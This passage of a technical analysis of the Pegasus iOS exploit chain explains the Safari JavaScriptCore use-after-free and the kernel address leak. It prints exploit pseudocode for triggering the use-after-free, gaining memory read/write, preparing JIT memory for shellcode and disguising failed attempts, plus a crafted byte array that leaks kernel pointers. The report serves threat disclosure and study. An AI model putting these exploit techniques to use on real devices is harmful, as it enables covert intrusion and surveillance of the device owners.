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Section 1: Pegasus Exploitation of Safari (CVE-
2016-4657) 

 
The First Stage of Infection 

 
 

This section reports on first stage of the Pegasus exploit of the “Trident” zero-day 
vulnerabilities on iOS, discovered by researchers at Lookout and Citizen Lab. The 
first stage of the attack is triggered when the user clicks a spear-phishing link that 
opens the Safari browser. This enables the exploit of a vulnerability in WebKit’s 
JavaScriptCore library (CVE-2016-4657). 
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Analysis of the Pegasus Safari Exploit 
 
The first stage of Pegasus exploits a vulnerability in WebKit’s JavaScriptCore library (CVE-
2016-4657). The exploit uses the Safari web browser to run a JavaScript payload that exploits 
the initial vulnerability to gain arbitrary code execution in the context of the Safari WebContent 
process.  

Background 
The vulnerability exists within the slowAppend() method of MarkedArgumentBuffer and can be 
exploited via the usage of a MarkedArgumentBuffer in the static defineProperties() method. The 
defineProperties() method accepts as input an object whose own enumerable properties 
constitute descriptors for the properties to be defined or modified on another target object. The 
algorithm used to associate each of these properties with the target object does two iterations of 
the provided list of properties. In the first pass, each of the property descriptors is checked for 
proper formatting and a PropertyDescriptor object is created that references the underlying 
value.  
 
    size_t numProperties = propertyNames.size(); 
    Vector<PropertyDescriptor> descriptors; 
    MarkedArgumentBuffer markBuffer; 
    for (size_t i = 0; i < numProperties; i++) { 
        JSValue prop = properties->get(exec, propertyNames[i]); 
        if (exec->hadException()) 
            return jsNull(); 
        PropertyDescriptor descriptor; 
        if (!toPropertyDescriptor(exec, prop, descriptor)) 
            return jsNull(); 
        descriptors.append(descriptor); 
 
The second pass is performed after each property has been validated. This pass associates 
each of the user-supplied properties with the target object, using the type specific 
defineOwnProperty() method.  
 
    for (size_t i = 0; i < numProperties; i++) { 
        Identifier propertyName = propertyNames[i]; 
        if (exec->propertyNames().isPrivateName(propertyName)) 
            continue; 
         
        object->methodTable(exec->vm())->defineOwnProperty(object, exec, propertyName, 
descriptors[i], true); 

 
This method may result in user-defined JavaScript methods (that are associated with the 
property being defined) being called. Within any of these user-defined methods, it is possible 
that a garbage collection cycle may be triggered, resulting in any unmarked heap backed 
objects being free()ed. Therefore, it is important that each of the temporary references to these 
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objects, stored within the individual PropertyDescriptors in the descriptors vector, be individually 
marked to ensure that these references to not become stale. To achieve this, a 
MarkedArgumentBuffer is used. This class is intended to temporarily prevent the values 
appended to it from being garbage collected during the period for which it is in scope.  
 
To understand how MarkedArgumentBuffers work we must first understand some basics of 
JavaScriptCore garbage collection. The garbage collector is responsible for deallocating objects 
that are no longer referenced and runs at random intervals that increase in frequency as more 
memory is used by the WebContent process. To determine whether an object is referenced, the 
garbage collector walks the stack and looks for references to the object. References to an 
object may also exist on the application heap, however, so an alternate mechanism (which will 
be explained in detail below) must be used for these cases.  
 
A MarkedArgumentBuffer initially attempts to maintain an inline stack buffer containing each 
value. When the stack is walked within garbage collection, each value will be noted and the 
underlying objects will avoid deallocation.  
 
class MarkedArgumentBuffer { 
... 
private: 
    static const size_t inlineCapacity = 8; 
… 
public: 
... 
    MarkedArgumentBuffer() 
        : m_size(0) 
        , m_capacity(inlineCapacity) 
        , m_buffer(m_inlineBuffer) 
        , m_markSet(0) 
    { 
    } 
... 
    void append(JSValue v) 
    { 
        if (m_size >= m_capacity) 
            return slowAppend(v); 
 
        slotFor(m_size) = JSValue::encode(v); 
        ++m_size; 
    } 
... 
private: 
... 
    int m_size; 
    int m_capacity; 
    EncodedJSValue m_inlineBuffer[inlineCapacity]; 
    EncodedJSValue* m_buffer; 
    ListSet* m_markSet; 
 
The size of this inline stack buffer is limited to eight values. When the ninth value is added to a 
MarkedArgumentBuffer, the underlying buffer is moved to the heap and the capacity is 
expanded. 
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void MarkedArgumentBuffer::slowAppend(JSValue v) 
{ 
    int newCapacity = m_capacity * 4; 
    EncodedJSValue* newBuffer = new EncodedJSValue[newCapacity]; 
    for (int i = 0; i < m_capacity; ++i) 
        newBuffer[i] = m_buffer[i]; 
 
    if (EncodedJSValue* base = mallocBase()) 
        delete [] base; 
 
    m_buffer = newBuffer; 
    m_capacity = newCapacity; 

 
Once the underlying buffer has moved to the heap, values are not automatically protected from 
garbage collection. To ensure that these objects are not deallocated, the garbage collector 
performs a MarkingArgumentBuffers phase in which each value contained within a 
MarkedArgumentBuffer that has been added to the Heap’s m_markListSet is marked (marking a 
cell ensures that it will not be deallocated in a particular garbage collection cycle). For this 
method of marking to work, the MarkedArgumentBuffer must be added to the markListSet at the 
same time that the MarkedArgumentBuffer’s underlying values are moved to the heap. 
 
    // As long as our size stays within our Vector's inline  
    // capacity, all our values are allocated on the stack, and  
    // therefore don't need explicit marking. Once our size exceeds 
    // our Vector's inline capacity, though, our values move to the  
    // heap, where they do need explicit marking. 
    for (int i = 0; i < m_size; ++i) { 
        Heap* heap = Heap::heap(JSValue::decode(slotFor(i))); 
        if (!heap) 
            continue; 
 
        m_markSet = &heap->markListSet(); 
        m_markSet->add(this); 
        break; 
    } 
 
The above code attempts to acquire the heap context for a value and add the 
MarkedArgumentBuffer to the Heap’s markListSet. However, this is only attempted once for the 
ninth value added to the MarkedArgumentBuffer.  
 
inline Heap* Heap::heap(const JSValue v) 
{ 
    if (!v.isCell()) 
        return 0; 
    return heap(v.asCell()); 
} 
 
A JSValue contains a tag which describes the type of the value that it encodes. In the case of 
complex objects this tag will be CellTag and the JSValue will encode a pointer to an underlying 
item on the Heap. Alternatively, for simple types where the entire underlying value of the 
variable can be encoded directly into a JSValue (ex. Integers, Booleans, null, and undefined), 
storing the value on the heap would be redundant and a different identifying tag will be used. 
The function JSValue::isCell() is used to determine whether a JSValue encodes a pointer to a 
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cell on the Heap. Because simple types do not point to the heap, attempting to acquire the Heap 
(via a call to Heap::heap()) for these types has no meaning and will therefore return NULL.  
 
inline bool JSValue::isCell() const 
{ 
    return !(u.asInt64 & TagMask); 
} 
 
As a result, if the ninth value added to a MarkedArgumentBuffer is not a heap backed value, 
attempting to acquire the Heap context will return NULL and the MarkedArgumentBuffer will 
never be added to the Heap’s markListSet. This means that the MarkedArgumentBuffer will no 
longer serve its purpose (to protect the items that it contains from deallocation) for any item after 
the ninth. Any reference to a heap backed property (after the ninth) contained within the 
descriptors vector has the potential to go stale. In reality, at least one other reference to these 
values still exists (the JavaScript variable that was passed to defineProperties()). In order for the 
references within the descriptors vector to go stale, these remaining references to the JSValue 
must also be removed before garbage collection occurs.  
 

 
 
The call to defineOwnProperty() (within the second loop of defineProperties()) may result in 
calling user-controlled methods defined on property values. As a result, the last marked 
references to a property value could be removed within this user-defined JavaScript code. If 
garbage collection can be triggered between the removal of all remaining references to a 
property value and the (now stale) value from the descriptors vector being defined on the target 
object, a reference to free()ed memory will be defined as a property on the target object. 
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Exploitation 
The Pegasus exploit triggers this vulnerability by passing a specifically crafted sequence of 
properties to the defineProperties() method. When these individual properties are subsequently 
inserted into a MarkedArgumentBuffer the vulnerability is triggered such that a JSArray object 
will be improperly deallocated if garbage collection can be triggered at a critical point in time. 
Because garbage collection can not be triggered deterministically, the exploit makes repeated 
attempts to trigger the improper deallocation and subsequent reallocation (for a total of ten 
attempts), testing each time whether a stale reference has been successfully acquired. 
Assuming garbage collection has been triggered at the correct time, another object is allocated 
over the top of the now stale JSArray. The exploit then sets up the tools needed to gain arbitrary 
native code execution, namely a read/write primitive and the ability to leak the address of an 
arbitrary JavaScript object. Once this is complete the exploit can create an executable mapping 
containing the native code payload. The following sections detail the various stages of this 
process. 

Setting up and triggering the vulnerability 
In order to achieve arbitrary code execution, the exploit triggers the vulnerable code path using 
a JSArray object. The following pseudo code is used to trigger the vulnerability. 
 
  var arr = new Array(2047); 
  var not_number = {}; 
  not_number.toString = function() { 
    arr = null; 
    props["stale"]["value"] = null; 
    … // Trigger garbage collection and reallocation over stale object 
    return 10; 
  }; 
  var props = { 
    p0 : { value : 0 }, 
    p1 : { value : 1 }, 
    p2 : { value : 2 }, 
    p3 : { value : 3 }, 
    p4 : { value : 4 }, 
    p5 : { value : 5 }, 
    p6 : { value : 6 }, 
    p7 : { value : 7 }, 
    p8 : { value : 8 }, 
    length : { value : not_number }, 
    stale : { value : arr }, 
    after : { value : 666 } 
  }; 
  var target = []; 
  Object.defineProperties(target, props); 
 
The specified props object has been specifically crafted to trigger the vulnerability in 
slowAppend(). When the ninth property is added to the MarkedArgumentBuffer (p8), 
slowAppend() will fail to acquire a heap context (because the value is simple type, an integer, 
and not backed by an item on the heap). Subsequent Heap-backed values (not_number and 
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arr) will not be explicitly protected from deallocation by the MarkedArgumentBuffer during 
garbage collection.  
 
When defineOwnProperty() is called for the length property, it will attempt to convert the value 
(not_number) to a number. As part of this code path, the toString() method will be called, 
allowing the last two references to the arr JSArray to be removed. Once removed, this JSArray 
is no longer marked, and the next garbage collection pass will deallocate the object. Pegasus 
creates memory pressure (allocates a large amount of memory) within the toString() method in 
an attempt to force garbage collection to run (and deallocate the arr object).  
 
var attempts = new Array(4250000); 
var pressure = new Array(100); 
... 
not_number.toString = function() { 
  ... 
  for (var i = 0; i < pressure.length; i++) { 
      pressure[i] = new Uint32Array(262144); 
  } 
  var buffer = new ArrayBuffer(80); 
  var uintArray = new Uint32Array(buffer); 
  uintArray[0] = 0xAABBCCDD; 
  for (i = 0; i < attempts.length; i++) { 
    attempts[i] = new Uint32Array(buffer); 
  } 
} 
 
Each of the 4.25 million Uint32Arrays allocated for the attempts array use the same backing 
ArrayBuffer. These objects are used to attempt to reallocate a series of Uint32Arrays into the 
same memory referenced by the JSArray object (arr). 
 
Once complete, the exploit checks to see whether garbage collection was successfully 
triggered. 
 
var before_len  = arr.length; 
Object.defineProperties(target, props); 
stale = target.stale; 
var after_len = stale.length; 
if (before_len == after_len) { 
  throw new RecoverableException(8); 
} 
 
If the length of the JSArray remains the same it means that either garbage collection was not 
triggered or that none of the allocated Uint32Arrays were allocated into the same address as the 
stale object. In these cases, the exploit has failed and the exploit is retried.  

Acquiring an arbitrary read/write primitive 
Assuming the exploit has succeeded to this point, there are now two objects of different types 
that are represented by the same memory. The first is the (now stale) JSArray, and the second 
is one of the many Uint32Arrays that were allocated (in fact, the underlying templated type is 
JSGenericTypedArrayView). By reading from and writing to offsets into the stale object, member 
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variables of the JSGenericTypedArrayView can be read or corrupted. Specifically, the exploit 
writes to an offset into the stale JSArray that overlaps with the length of the 
JSGenericTypedArrayView, effectively setting the length of the Uint32Array to 0xFFFFFFFF. 
Corrupting this value will allow the array to be treated as a view of the entire virtual address 
space of the WebContent process (an arbitrary read/write primitive).  
 
The exploit still must determine which of the 4.25 million Uint32Arrays that were allocated aligns 
with the stale object. This can be determined by iterating through each of the arrays and 
checking whether the length has changed to 0xFFFFFFFF. All other arrays will still have the 
original backing ArrayBuffer (or a length of 80 / 4). 
 
for (x = attempts.length - 1; x >= 1; x--) { 
  if (attempts[x].length != 80 / 4) { 
    if (attempts[x].length == 0xFFFFFFFF) { 
      memory_view = attempts[x]; 
      ... 
      break; 

 

Leaking an object address 
The final component needed to complete the exploit is the ability to leak the address of an 
arbitrary JavaScript object. The Pegasus exploit accomplishes this using the same mechanism 
that was used to corrupt the length of the Uint32Array used for the read/write primitive. By 
writing to an offset into the stale object, the buffer of a Uint32Array is corrupted to point to a 
user-controlled JSArray. By setting the first element of that JSArray to the JavaScript object to 
be leaked (by corrupting the pointer to the underlying storage of the Uint32Array), the object’s 
address can be read back out of the Uint32Array.  
 

Native code execution 
All that is left to do for the first stage of the Pegasus exploit is to create an executable mapping 
that will contain the shellcode to be executed. To accomplish this purpose, a JSFunction object 
is created (containing hundreds of empty try/catch blocks that will later be overwritten). To help 
ensure that the JavaScript will be compiled into native code by the JIT, the function is 
subsequently called repeatedly. This behavior ensures that the JIT compiled (JITed) version of 
the function (which will later be overwritten) will be marked as high priority code that is likely to 
be called regularly and should therefore not be released. Because of the way that the 
JavaScriptCore engine handles JITed code, this will reside in an area of memory that is mapped 
as read/write/execute.  
 
var body = '' 
for (var k = 0; k < 0x600; k++) { 
  body += 'try {} catch(e) {};'; 
} 
var to_overwrite =  new Function('a', body); 
for (var i = 0; i < 0x10000; i++) { 
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  to_overwrite(); 
} 
 
The address of this JSFunction object can then be leaked and the various members can be 
read to acquire the address of the RWX mapping. The JITed version of the try/catch blocks are 
then overwritten with shellcode, and the to_overwrite() function can simply be called to achieve 
arbitrary code execution. 
 

Evading detection 
When exploitation fails, the Pegasus exploit contains a bailout code path, presumably to ensure 
that crash dumps do not expose the exploitable vulnerability. This bailout code triggers a crash 
on a clean NULL dereference. Most likely, an analyst analyzing such a crash dump would 
quickly identify the bug as a non-exploitable NULL pointer dereference and not suspect anything 
more sinister. The following code is used to trigger this “clean” crash. 
 
  window.__proto__.__proto__ = null; 
  x = new String("a"); 
  x.__proto__.__proto__.__proto__ = window; 
  x.Audio; 
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Section 2: Exploitation of KASLR by Pegasus 
Stage Two of Infection: Kernel Location Disclosure 

 
 
 

Once the attack is launched in the first stage, the second stage exploits a 
kernel information leak (CVE-2016-4655). This prepares the device for the 
kernel memory corruption (CVE-2016-4656) that ultimately leads to jailbreak. 
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Analysis of Pegasus KASLR Exploit 
 
The second stage, Stage 2, is responsible for escalating privileges on the victim’s iPhone and 
establishing an environment where jailbreaking the victim’s device is possible. The Stage 2 
binary is used in two distinct contexts within Pegasus. By default, Stage 2 constitutes a 
complete iOS kernel exploit. Alternatively, the Stage 2 binary attempts to detect iOS devices 
that have already been jailbroken and, in cases where an existing jailbreak is detected (and has 
installed a known backdoor), uses the pre-existing backdoor mechanisms to install Pegasus 
specific kernel patches.  
 
In order to perform these tasks, Stage 2 must first determine the location of the kernel in 
memory, escalate its own privileges, disable safeguards, and then install the necessary tools for 
jailbreaking a device. In order to accommodate multiple iPhone versions, Stage 2 comes in two 
flavors, 32-bit and 64-bit. Together, the two versions of the Stage 2 binary target a total of 199 
iPhone combinations.  
 
The Stage 2 variants share a lot of design similarities, but deviate enough in their approach that 
it is best to look at each variant in relative isolation. The subsections that follow will walk through 
the steps involved in each of the Stage 2 variants while pointing out areas of similarity between 
the variants when they arise.  

Differences Between 32 and 64-Bit Binaries 
The 32-bit Stage 2 binary (or simply “32Stage2”) operates on the older iPhone models (iPhone 
4S through iPhone 5c) and targets iOS 9.0 through iOS 9.3.3. The 64-bit Stage 2 binary (or 
simply “64Stage2”) operates on the newer iPhone models (iPhone 5S and later) and targets iOS 
9.0 through iOS 9.3.3. Both binaries perform the same general steps and exploit the same 
underlying vulnerabilities. However, the exploitation of these vulnerabilities varies between 
versions. In areas where the mechanisms differ substantially the differences will be specifically 
noted or discussed separately. 

API Loading 
Stage 2 requires a number of API functions to be present in order to succeed. In order to ensure 
the functions are available, Stage 2 dynamically loads the necessary API function addresses via 
dlsym calls. While dynamically resolving API function addresses is by no means a novel 
technique for malware, what is interesting about Stage 2’s API loading is the fact that the 
authors of the binary reload many of the API functions multiple times. In the main function 
alone, a large number of  API function addresses are loaded with only a small subset of those 
functions ever finding themselves used during the course of Stage 2’s execution (for example, 
the address of socket is loaded into memory but is never called). After loading the initial set of 
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API functions, 32stage2 calls a subroutine (identified in this report as initialize) that in turn 
calls several other subroutines, each of which is responsible for loading additional API functions 
in addition to performing various startup tasks. 
 
The grouping of the API functions being loaded (in terms of which API functions are loading by 
which Stage 2 functions) and the inclusion of multiple API functions being loaded multiple times 
suggests that the API loading is specific to individual components or operations of the Stage 2 
binary. For instance, as discussed later, a pair of functions are responsible for decompressing 
the jailbreak files, changing their permissions via chmod, and positioning the files in the correct 
location on the victim’s iPhone. The API functions responsible for these operations are all 
loaded by a self-contained function. The loading function only loads those API functions that are 
necessary for the described operations, and the APIs are not shared with any other part of the 
Stage 2 system.  
 
The analysis of Stage 2 was also made somewhat easier given the heavy use of debug logging 
throughout the binary. Calls to the logging sub-system generally reference the original file 
names used by the exploit developers. The presence of this debugging code discloses the 
presence of at least the following individual modules (or subsystems): 
 

1. fs.c - Loads API functions related to file and file system management such as ftw, 
open, read, rename, and mount 

2. kaslr.c - Loads API functions such as IORegistryEntryGetChildIterator, 
IORegistryEntryGetProperty, and IOServiceGetMatchingService that 
relate to finding the address of the kernel using a vulnerability in the 
io_service_open_extended function 

3. bh.c - Loads API functions that relate to the decompression of next stage payloads and 
their proper placement on the victim’s iPhone by using functions such as 
BZ2_bzDecompress, chmod, and malloc 

4. safari.c - Loads API functions such as sync, exit, and strcpy that are used for 
clearing Safari cache files and terminating the Safari process. This cleanup is required 
for the case where we succeed and exit cleanly, as the Safari crash cleanup (described 
in the Stage 1 writeup) will never occur. 

 
These artifacts suggest that the Stage 2 binary is based on a modular design philosophy or, at 
the very least, is made up of various library source code files that are ultimately tied together to 
form the Stage 2 binary. The various components that make up the Stage 2 exploit were likely 
designed to be reused across multiple iOS exploit chains. 

Environment Setup and Platform Determination 
After initialize completes, Stage 2 calls a function that specifies a global callback function 
that is used whenever Stage 2 terminates due to an error. Based on the filename supplied in the 
writeLog, most likely the function is an assert-style callback.  
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In order to determine the platform (hardware) of the victim’s device, a call is made to 
sysctlbyname for the hw.machine object. Another call to sysctlbyname is made for the 
kern.osversion information. From these two calls, Stage 2 is able to accurately determine 
the platform and iOS kernel versions. This information is then used to find a data structure that 
defines the various memory offsets that Stage 2 will use for its exploitation operations. If Stage 
2 is unable to find the appropriate data structure for the platform/iOS combination, the process 
executes the assert callback and exits.  
 
Stage 2 uses a lock file during its execution. As part of the setup of the working environment, 
Stage 2 establishes the filename and path global variables for the lock file as 
$HOME/tmp/lock (Note: $HOME is an application specific variable).  
 
The 32 bit version of the Stage 2 binary has 100 different combinations of platform and iOS that 
it supports, as identified in the table below. 
 

iOS Version iPhone 4S 
(“iPhone4,1”) 

iPhone 5 
(“iPhone5,1”) 

iPhone 5 
(“iPhone5,2”) 

iPhone 5c 
(“iPhone5,3”) 

iPhone 5c 
(“iPhone5,4”) 

9.0 ✅ ✅ ✅ ✅ ✅ 

9.0.1 ✅ ✅ ✅ ✅ ✅ 

9.0.2 ✅ ✅ ✅ ✅ ✅ 

9.1 ✅ ✅ ✅ ✅ ✅ 

9.2 ✅ ✅ ✅ ✅ ✅ 

9.2.1 ✅ ✅ ✅ ✅ ✅ 

9.3 (13E233) ✅ ✅ ✅ ✅ ✅ 

9.3 (13E237) ✅ ✅ ✅ ✅ ✅ 

9.3 Beta   ✅ ✅  

9.3 Beta 3    ✅  

9.3 Beta 6    ✅  

9.3 Beta 7    ✅  

9.3.1 ✅ ✅ ✅ ✅ ✅ 

9.3.2 Beta ✅ ✅ ✅ ✅ ✅ 
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9.3.2 Beta 2 ✅ ✅ ✅ ✅ ✅ 

9.3.2 Beta 3 ✅ ✅ ✅ ✅ ✅ 

9.3.2 Beta 4 ✅ ✅ ✅ ✅ ✅ 

9.3.2 ✅ ✅ ✅ ✅ ✅ 

9.3.3 Beta ✅ ✅ ✅ ✅ ✅ 

9.3.3 Beta 2 ✅ ✅ ✅ ✅ ✅ 

9.3.3 Beta 3 ✅ ✅ ✅ ✅ ✅ 

9.3.3 Beta 4 ✅ ✅ ✅ ✅ ✅ 

9.3.3 ✅ ✅ ✅ ✅ ✅ 

 
Similarly, the 64-bit version of the Stage 2 binary supports 99 different iOS and iPhone 
combinations. The supported iPhone and iOS versions of 64Stage2 are identified in the table 
below. 
 

iOS 
Version 

iPhone 
5s  
(iPhone6,
1) 

iPhone  
5s 
(iPhone6,
2) 

iPhone 6 
Plus 
(iPhone7,
1) 

iPhone 6 
(iPhone7,
2) 

iPhone 
6s  
(iPhone8,
1) 

iPhone 
6s Plus 
(iPhone8,
2) 

iPhone 
SE 
(iPhone 
8,4) 

9.2.1 
(13D15)  

✅ ✅ ✅ ✅ ✅ ✅  

iOS 9.2.1 
(13D20) 

  ✅ ✅ ✅ ✅  

9.3 
(13E233) 

✅ ✅ ✅ ✅   ✅ 

9.3 
(13E234) 

    ✅ ✅  

9.3 
(13E237) 

✅ ✅      

9.3 Beta 
4 

  ✅     

9.3 Beta 
6 

  ✅     
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9.3 Beta 
7 

  ✅     

9.3.1 ✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.2 
Beta 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.2 
Beta 2 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.2 
Beta 3 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.2 
Beta 4 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.2 ✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.3 
Beta 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.3 
Beta 2 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.3 
Beta 3 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.3 
Beta 4 

✅ ✅ ✅ ✅ ✅ ✅ ✅ 

9.3.3 ✅ ✅ ✅ ✅ ✅ ✅ ✅ 

Defeating KASLR 
The majority of Stage 2’s functionality deals with manipulating the kernel in order to disable 
security features on the victim’s device. In order to manipulate the kernel, Stage 2 must first 
locate the kernel. Under normal circumstances the kernel will be mapped into a randomized 
location due to the kernel address space layout randomization (KASLR) mechanism that iOS 
employs. KASLR is designed to prevent processes from locating the kernel in memory by 
mapping the kernel to a pseudorandom location in memory each time the device is powered on 
by the user. In order to locate the kernel, Stage 2 must find a way to expose a memory address 
within kernel memory space to a process in user space. Stage 2 uses the vulnerability CVE-
2016-46551 in order expose a memory address in kernel space. 
 

                                                
1 http://www.securityfocus.com/bid/92651 
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In order to find the kernel, Stage 2 begins by opening a port to the IOKit subsystem. Failing this, 
Stage 2 calls the assert callback and exits. A call to IOServiceMatching for the service 
named AppleKeyStore is made by Stage 2, and the results of the call are given to 
IOServiceGetMatchingService in order to obtain a io_service_t object containing the 
desired registered IOKit IOService (in this case, AppleKeyStore). With the IOService handle, 
Stage 2 calls io_service_open_extended and passes a specially crafted properties field to 
the service. The properties field is a (serialized) binary representation of XML data that 
io_service_open_extended ultimately passes to the OSUnserializeBinary function 
located in the kernel2. Within the OSUnserializeBinary function is a switch statement that 
handles the various types of data structures found within a binary XML data structure. The data 
type for kOSSerializeNumber blindly accepts the length of the data without performing any 
type of reasonable bound checking, which ultimately gives the caller the ability to request more 
memory than should be allowed. This condition occurs due to the following code fragments: 
 
len = (key & kOSSerializeDataMask); 
... 
case kOSSerializeNumber: 
    bufferPos += sizeof(long long); 
    if (bufferPos > bufferSize) break; 
        value = next[1]; 
        value <<= 32; 
        value |= next[0]; 
        o = OSNumber::withNumber(value, len); 
        next += 2; 
            break; 
 
The error is that the len variable passed to OSNumber::withNumber is not validated before 
being passed to OSNumber::withNumber. Ultimately, the function OSNumber::init is 
called, which blindly trusts this user-controlled value.  
 
bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits) 
{ 
    if (!super::init()) 
        return false; 
 
    size = newNumberOfBits; 
    value = (inValue & sizeMask); 
 
    return true; 
} 
 
This vulnerability allows Stage 2 to control the size of OSNumber. The 
io_service_open_extended function prepares the environment for the use of 
OSUnserializedBinary, a second function that is required to perform the exploitation. 
However, before looking at the exploitation, it is worthwhile to look at the malicious 
properties field passed to io_service_open_extended: 
 

                                                
2 http://opensource.apple.com/source/xnu/xnu-3248.20.55/libkern/c++/OSSerializeBinary.cpp 
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unsigned char properties[] = { 
    // kOSSerializeBinarySignature 
    0xD3, 0x00, 0x00, 0x00, 
    // kOSSerializeEndCollecton | kOSSerializeDictionary | 2 
    0x02, 0x00, 0x00, 0x81, 
    // KEY 1 specified as 30 bytes long (0x1E) 
    // kOSSerializeSymbol | 0x1E 
    0x1E, 0x00, 0x00, 0x08, 
    "HIDKeyboardModifierMappingSrc", 0x00,  // (30 bytes) 
    // padding (30 + 3 / 4 = 8 DWORDS) 
    0x00, 0x00, 
    // VALUE 1 
    // kOSSerializeNumber specified as 0x800 bits (256 bytes) 
    0x00, 0x08, 0x00, 0x04, 
    // value of OSNumber (4) 
    0x04, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 
    // KEY 2 specified as 30 bytes long (0x1E) 
    // kOSSerializeSymbol | 0x1E 
    0x1E, 0x00, 0x00, 0x08, 
    "HIDKeyboardModifierMappingDst", 0x00,  // (30 chars) 
    // padding (30 + 3 / 4 = 8 DWORDS) 
    0x00, 0x00, 
    // VALUE 2 
    // kOSSerializeEndCollecton | kOSSerializeNumber | 32 
    0x20, 0x00, 0x00, 0x84, 
    // value of OSNumber (0x193) 
    0x93, 0x01, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00 
}; 
 
Stage 2 calls IORegistryEntryGetProperty in order to find the entry for 
HIDKeyboardModifierMappingSrc, which results in the properties array creating an 
OSNumber larger than the maximum 64-bits (8 bytes). Stage 2 uses the following code fragment 
to call is_io_registry_entry_get_property_bytes, which will read past the end of a 
kernel stack buffer and copy the data to a kernel heap buffer. The 
IORegistryEntryGetProperty function then returns this heap buffer to user space. 
Pointers from this stack overread will therefore be leaked to user mode and can be used to 
calculate the base address for the iOS kernel: 
 
do 
{ 
... 
} while ( IORegistryEntryGetProperty_0(v13, "HIDKeyboardModifierMappingSrc", dataBuffer, &size) 
); 
writeLog(7, "%.2s%5.5d\n", "kaslr.c", 127); 
if ( size > 8 ) 
{ 

writeLog(7, "%.2s%5.5d\n", "kaslr.c", 138); 
return dataBuffer[index] & 0xFFF00000; 

} 
 
Two aspects of this code should be explicitly noted. First, the properties array specifies that the 
OSNumber value is 256 bytes in size, which is what ultimately leads to data leakage. Second, 
the index value used to find the memory location within the returned dataBuffer array varies 
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with the platform/iOS combination. The developers of Stage 2 have mapped out each 
combination of platform/iOS to determine what position within the dataBuffer array a valid 
kernel location is present. 
 
If Stage 2 is unable to find the base address for the kernel using the above described method or 
if Stage 2 finds that it is operating under a version of iOS other than 9, the assert callback is 
called and the application terminates.    

Establishing Read/Write/Execute Primitives on Previously Rooted 
Devices (32-Bit) 
After finding the kernel’s base address, 32Stage2 generates an IPC pipe set via the pipe 
function. If the pipe command fails, 32Stage2 calls the assert callback function and exits. 
Following the generation of the pipe set, 32Stage2 uses a kernel  port to obtain the clock 
services for the battery clock (also known as the calendar clock) and real-time clock via two 
calls to host_get_clock_service. If either of the clocks are inaccessible, the assertion 
callback is called and 32Stage2 exits. The pipe set and the clock ports are critical to 
establishing a beachhead for gaining access to the kernel memory space as the combination of 
the three objects (the pipe set and the two clocks) are later used for kernel memory read and 
write access as well as kernel process space execution access. 
 
Immediately following the pipe and host_get_clock_service calls, 32Stage2 checks the 
value of the port to the kernel that was generated previously by calling task_from_pid. If 
task_from_pid returned a valid (non-NULL) port, 32Stage2 modifies the kernel’s memory by 
writing a 20-byte data structure using vm_write. The 20-byte data structure overwrites parts of 
the clock_ops structures for calend_ops and rtclock_ops3.  
 
The 20-byte data structures contain pointers to handler functions for the battery clock and real-
time clock that the kernel will call when functions such as clock_get_attributes are called 
(callback functions). The 20-byte data structure replaces the getattr handler for both of the 
clock types with existing kernel functions. Specifically, the real-time clock’s getattr is modified 
to point to OSSerializer::serialize, and the battery clock’s getattr is modified to point 
to _bufattr_cpx.  
 
The choice of the replacement functions changes the nature of the clock_get_attributes 
call made to the two clock types. For calls to clock_get_attributes for the battery clock, 
the function now operates as a kernel memory read interface. The _bufattr_cpx function 
contains only two instructions: 
 
_bufattr_cpx: 

LDR             R0, [R0] 
BX              LR 

                                                
3 http://opensource.apple.com/source/xnu/xnu-3248.20.55/osfmk/kern/clock_oldops.c 
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The first parameter to the function (in R0) is used as a memory address that the function reads 
and returns in R0 before returning to the calling function. While the getattr functions use 
three parameters, given that the iPhone’s ARM-based function calls use registers for the first 
four function arguments, the lack of a fully compliant function prototype is irrelevant.  
 
The replacement function for the real-time clock’s getattr function is a bit more complex. The 
OSSerializer::serialize function expects a OSSerializer object as a this 
pointer(i.e., an object that includes a virtual function table (vtable)). The address stored at offset 
0x10 within the OSSerializer object is used as the function to pass control to via the BX 
instruction and uses the DWORDs at offset 8 and 12 as parameters to the next function.  
 
_DWORD OSSerializer::serialize(OSSerialize *): 

LDR             R3, [R0,#8] 
MOV             R2, R1 
LDR             R1, [R0,#0xC] 
LDR.W           R12, [R0,#0x10] 
MOV             R0, R3 
BX              R12 

 
The result of replacing the getattr handler for the real-time clock is that now the caller to 
clock_get_attributes can execute arbitrary functions within the kernel by supplying a 
specially designed data structure, a structure that will be explained in greater detail later in this 
report.  What is important to remember at this point is that the clock modifications only occur at 
this phase if the victim’s kernel is already exposed in some manner. That is, these clock 
modifications would not be possible on a  non-jailbroken phone.  
 
If 32Stage2 already has access to the kernel port and has performed the above-mentioned 
modifications to the various clocks, 32Stage2 will skip the next several steps that it would 
normally perform in order to gain such access, and pick up at the privilege escalation phase. If 
the kernel modification was not made because the kernel’s task port was currently inaccessible, 
32Stage2 creates and locks the lock file specified during the earlier initialization phase. This file 
becomes important later as a piece of the process that ultimately gains 32Stage2 the ability to 
modify the kernel’s memory. 
 
The 64-bit version of the Stage 2 binary does not attempt to take advantage of pre-existing 
backdoors in previously jailbroken devices. 
 

Thread Manipulation  
Stage 2 will eventually leverage a use-after-free (UAF) vulnerability in order to execute arbitrary 
code within the kernel space. When using a UAF vulnerability, it is possible that a race condition 
may occur where the memory that was dereferenced (and which the exploit wishes to control) is 
reallocated for another thread before the exploit can execute. In order to reduce the probability 
of another thread accidentally allocating into a critical deallocated chunk, Stage 2 will generate a 
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list of all of its running threads and immediately place each thread (outside of its main thread) in 
a suspended state. Next, Stage 2 modifies the scheduling policies for the main thread to further 
increase the probability that the UAF exploit will not face competition for the memory in 
question.  
 
An additional step is performed in the 64-bit version of Stage 2. With the thread scheduler 
modifications complete, 64Stage2 generates up to 1000 threads. Each thread consists of a 
single tight loop that merely wait for a global variable to drop below a predefined value (in this 
case, the value is less than 0). This behavior is intended to ensure (or, at least, significantly 
